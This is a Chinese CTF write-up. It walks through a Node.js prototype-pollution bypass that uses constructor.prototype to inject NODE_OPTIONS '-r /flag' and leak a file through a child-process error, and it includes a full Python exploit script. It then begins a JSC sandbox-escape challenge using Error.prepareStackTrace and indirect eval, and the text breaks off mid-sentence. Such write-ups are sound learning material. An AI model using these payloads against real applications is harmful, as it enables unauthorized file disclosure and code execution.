看污染部分逻辑

function merge(target, source, res) {
    for (let key in source) {
        if (key === '__proto__') {
            if (res) {
                res.send('get out!');
                return;
            }
            continue;
        } 
        
        if (source[key] instanceof Object && key in target) {
            merge(target[key], source[key], res);
        } else {
            target[key] = source[key];
        }
    }
}

只过滤了__proto__关键词,但我们还是可以使用{"constructor": {"prototype": {"key": "value"}}} 污染

再看到/api/status路由

const customEnv = Object.create(null);

创建了一个没有原型的对象,但是由于在后面

for (let key in process.env) {
        if (key === 'NODE_OPTIONS') {
            const value = process.env[key] || "";

            const dangerousPattern = /(?:^|\s)--(require|import|loader|openssl|icu|inspect)\b/i;

            if (!dangerousPattern.test(value)) {
                customEnv[key] = value;
            }
            continue;
        }
        customEnv[key] = process.env[key];
    }

讲process.env的参数赋给customEnv

所以我们仍然可以污染process.env的原型来间接污染customEnv

发送污染Payload
POST /api/config HTTP/1.1
Content-Type: application/json

{
    "constructor": {
        "prototype": {
            "NODE_OPTIONS": "-r /flag"
        }
    }
}

再访问 /api/status ,此时:

  1. 创建子进程 node -e 'console.log(...)'
  2. 子进程继承被污染的 process.env.NODE_OPTIONS
  3. 实际执行:node -r /flag -e 'console.log(...)'
  4. Node.js 尝试预加载 /flag 文件
  5. /flag 内容 XMCTF{...} 不是合法JS,报错
  6. 错误信息中包含 flag 内容

ai一把梭脚本

import requests
import re

target_url = "http://target_url"

session = requests.Session()

# Step 1: 发送污染payload
payload = {
    "constructor": {
        "prototype": {
            "NODE_OPTIONS": "-r /flag"
        }
    }
}

resp = session.post(
    f"{target_url}/api/config",
    json=payload,
    headers={"Content-Type": "application/json"}
)
print(f"[+] 污染结果: {resp.text}")

# Step 2: 触发漏洞
resp = session.get(f"{target_url}/api/status")
print(f"[+] 触发结果: {resp.text}")

# Step 3: 提取flag
flag_match = re.search(r'(XMCTF|flag)\{[^}]+\}', resp.text, re.IGNORECASE)
if flag_match:
    print(f"[+] FLAG: {flag_match.group(0)}")

Not a Node

前置知识

使用Error.prepareStackTrace技巧

这是一个V8/JSC引擎的特性,用于自定义错误堆栈的显示方式。

// 定义自定义的堆栈格式化函数
Error.prepareStackTrace = function(error, stack) {
    // error: 错误对象
    // stack: CallSite对象数组,包含调用栈信息
    return "custom stack";
};

// 触发一个错误来测试
try {
    throw new Error("test");
} catch (e) {
    console.log(e.stack);
}

原理:当JavaScript引擎准备显示错误堆栈时,会调用Error.prepareStackTrace函数。通过修改这个函数,我们可以在错误发生时执行自定义代码。

获取全局对象

使用(0, eval)("this")技巧:

// (0, eval) 将eval作为普通函数调用,而不是直接调用
// "this" 在eval中指向全局对象
let global = (0, eval)("this");
console.log(global);

为什么这样写?

  • (0, eval)是JavaScript的一个技巧,确保eval在全局作用域执行

格式?

(0, eval)
(1, eval)
(null, eval)
('', eval)
[eval][0]
window.eval		#浏览器中
global.eval		#node.js中

关于JSC

JSC = JavaScriptCore

是 Safari / 边缘计算用的浏览器引擎,无 Node.js 原生 API

关于Uint8Array

Uint8Array是JavaScript中的类型化数组,用于表示8位无符号整数数组。它可以用来处理二进制数据。

// 创建一个Uint8Array
let arr = new Uint8Array([72, 101, 108, 108, 111]);  // "Hello"

// 将字符串转为Uint8Array
let encoder = new TextEncoder();
let bytes = encoder.encode("Hello");  // Uint8Array [72, 101, 108, 108, 111]

// 将Uint8Array转回字符串
let decoder = new TextDecoder();
let str = decoder.decode(bytes);  // "Hello"

而二进制数据,一般直接作为原始字节传递,不被当作字符串处理

题目

我们搭建了一个“安全”的在线 JavaScript 运行平台。

你提交的代码会被放进一个精心准备的沙箱中运行,一切看起来很干净

image-20260401140620175

拿到题不会做也没啥想法,跟着ai走一遍学习学习

第一步:信息收集

网站右侧

Fetch API standards fully supported in the JSC sandboxed context.
#Fetch API 标准在 JSC 沙箱环境中被完全支持。

说明无法使用node.js原生api

__runtime.hash(str)
High-performance DJB2 hashing.

__runtime.encoding.hexEncode(s)
e.g. hexEncode("internal") -> 696e7465...

泄露使用了__runtime 的几个函数

Advanced
The runtime exposes documented APIs through th
Logo

免费领 150 小时云算力,进群参与显卡、AI PC 幸运抽奖

更多推荐